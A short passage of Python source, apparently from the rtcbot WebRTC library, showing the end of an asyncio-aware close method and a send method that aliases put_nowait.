            self._log.debug("Loop is running - close will return a future!")
            return asyncio.ensure_future(self._rtc.close())
        else:
            self._loop.run_until_complete(self._rtc.close())
        return None

    def send(self, msg):
        """
        Send is an alias for put_nowait - makes it easier for people new to rtcbot to understand
        what is going on
        """
        self.put_nowait(msg)